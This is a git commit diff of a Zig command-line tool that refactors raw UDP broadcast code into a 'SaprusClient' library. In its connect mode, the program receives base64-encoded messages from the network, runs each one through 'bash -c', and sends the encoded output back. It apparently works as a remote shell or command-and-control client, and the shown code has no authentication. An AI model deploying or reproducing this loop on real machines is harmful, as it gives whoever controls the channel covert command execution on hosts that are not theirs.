Implemented client and connection

This commit is contained in:
2026-01-20 22:41:53 -05:00
parent 067a11ab23
commit 213a01afc8
4 changed files with 245 additions and 249 deletions

View File

@@ -90,170 +90,29 @@ pub fn main(init: std.process.Init) !void {
return error.InvalidArguments;
}
const rand = blk: {
const io_source: std.Random.IoSource = .{ .io = init.io };
break :blk io_source.interface();
};
// const net_interface: std.Io.net.Interface = .{ .index = 1 };
// std.debug.print("Interface: {s}\n", .{(try net_interface.name(init.io)).toSlice()});
const EthIpUdp = packed struct(u336) { // 42 bytes * 8 bits = 336
// --- UDP (Last in memory, defined first for LSB->MSB) ---
udp: packed struct {
checksum: u16 = 0,
len: u16,
dst_port: u16,
src_port: u16,
},
// --- IP ---
ip: packed struct {
dst_addr: u32,
src_addr: u32,
header_checksum: u16 = 0,
protocol: u8 = 17, // udp
ttl: u8 = 0x40,
// fragment_offset (13 bits) + flags (3 bits) = 16 bits
// In Big Endian, flags are the high bits of the first byte.
// To have flags appear first in the stream, define them last here.
fragment_offset: u13 = 0,
flags: packed struct(u3) {
reserved: u1 = 0,
dont_fragment: u1 = 1,
more_fragments: u1 = 0,
} = .{},
id: u16,
len: u16,
tos: u8 = undefined,
// ip_version (4 bits) + ihl (4 bits) = 8 bits
// To have version appear first (high nibble), define it last.
ihl: u4 = 5,
ip_version: u4 = 4,
},
// --- Ethernet ---
eth_type: u16 = std.os.linux.ETH.P.IP,
src_mac: @Vector(6, u8),
dst_mac: @Vector(6, u8) = @splat(0xff),
fn toBytes(self: @This()) [336 / 8]u8 {
var res: [336 / 8]u8 = undefined;
var w: Writer = .fixed(&res);
w.writeStruct(self, .big) catch unreachable;
return res;
}
fn setPayloadLen(self: *@This(), len: usize) void {
self.ip.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8) + (@bitSizeOf(@TypeOf(self.ip)) / 8));
self.udp.len = @intCast(len + (@bitSizeOf(@TypeOf(self.udp)) / 8));
}
};
var socket: RawSocket = try .init();
defer socket.deinit();
var headers: EthIpUdp = .{
.src_mac = socket.mac,
.ip = .{
.id = rand.int(u16),
.src_addr = 0, //rand.int(u32),
.dst_addr = @bitCast([_]u8{ 255, 255, 255, 255 }),
.len = undefined,
},
.udp = .{
.src_port = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16)),
.dst_port = 8888,
.len = undefined,
},
};
var client: SaprusClient = try .init();
defer client.deinit();
if (flags.relay != null) {
const relay: SaprusMessage = .{
.relay = .{
.dest = .fromBytes(&parseDest(flags.dest)),
.payload = flags.relay.?,
},
};
var relay_buf: [2048]u8 = undefined;
const relay_bytes = relay.toBytes(&relay_buf);
headers.setPayloadLen(relay_bytes.len);
const full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(relay_bytes) catch unreachable;
break :blk msg_w.buffered();
};
try socket.send(full_msg);
try client.sendRelay(init.io, flags.relay.?, parseDest(flags.dest));
return;
}
if (flags.connect != null) {
reconnect: while (true) {
headers.udp.dst_port = 8888;
const dest = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
const src = rand.intRangeAtMost(u16, 1025, std.math.maxInt(u16));
// udp dest port should not be 8888 after first
const udp_dest_port = rand.intRangeAtMost(u16, 9000, std.math.maxInt(u16));
var connection: SaprusMessage = .{
.connection = .{
.src = src,
.dest = dest,
.seq = undefined,
.id = undefined,
.payload = flags.connect.?,
},
};
try socket.attachSaprusPortFilter(src);
var connection_buf: [2048]u8 = undefined;
var connection_bytes = connection.toBytes(&connection_buf);
headers.setPayloadLen(connection_bytes.len);
var full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(connection_bytes) catch unreachable;
break :blk msg_w.buffered();
};
socket.send(full_msg) catch continue;
var res_buf: [4096]u8 = undefined;
var res = socket.receive(&res_buf) catch continue;
try init.io.sleep(.fromMilliseconds(40), .real);
headers.udp.dst_port = udp_dest_port;
headers.ip.id = rand.int(u16);
full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch unreachable;
msg_w.writeAll(connection_bytes) catch unreachable;
break :blk msg_w.buffered();
};
socket.send(full_msg) catch continue;
var connection = try client.connect(init.io, flags.connect.?);
while (true) {
res = socket.receive(&res_buf) catch continue :reconnect;
try init.io.sleep(.fromMilliseconds(40), .real);
const connection_res = blk: {
const msg: SaprusMessage = try .parse(res[42..]);
break :blk msg.connection;
};
var res_buf: [2048]u8 = undefined;
const next = connection.next(init.io, &res_buf) catch continue :reconnect;
const b64d = std.base64.standard.Decoder;
var connection_payload_buf: [4096]u8 = undefined;
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(connection_res.payload)];
try b64d.decode(connection_payload, connection_res.payload);
var connection_payload_buf: [2048]u8 = undefined;
const connection_payload = connection_payload_buf[0..try b64d.calcSizeForSlice(next)];
b64d.decode(connection_payload, next) catch {
// TODO: debug log
continue;
};
const child = std.process.spawn(init.io, .{
.argv = &.{ "bash", "-c", connection_payload },
@@ -266,29 +125,15 @@ pub fn main(init: std.process.Init) !void {
var child_stderr: std.ArrayList(u8) = .empty;
defer child_stderr.deinit(init.gpa);
try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 4096);
try child.collectOutput(init.gpa, &child_stdout, &child_stderr, 2048);
const b64e = std.base64.standard.Encoder;
var cmd_output_buf: [4096]u8 = undefined;
const cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
var cmd_output_buf: [2048]u8 = undefined;
const encoded_cmd_output = b64e.encode(&cmd_output_buf, child_stdout.items);
connection.connection.payload = cmd_output;
connection_bytes = connection.toBytes(&connection_buf);
headers.setPayloadLen(connection_bytes.len);
headers.ip.id = rand.int(u16);
full_msg = blk: {
var msg_buf: [2048]u8 = undefined;
var msg_w: Writer = .fixed(&msg_buf);
msg_w.writeAll(&headers.toBytes()) catch continue;
msg_w.writeAll(connection_bytes) catch continue;
break :blk msg_w.buffered();
};
try socket.send(full_msg);
connection.send(init.io, encoded_cmd_output) catch continue;
try init.io.sleep(.fromMilliseconds(40), .real);
}
return;
}
}
@@ -317,11 +162,5 @@ const StaticStringMap = std.StaticStringMap;
const zaprus = @import("zaprus");
const SaprusClient = zaprus.Client;
const SaprusMessage = zaprus.Message;
const RawSocketWriter = zaprus.RawSocketWriter;
const AF = std.os.linux.AF;
const SOCK = std.os.linux.SOCK;
const RawSocket = @import("./RawSocket.zig");
const Writer = std.Io.Writer;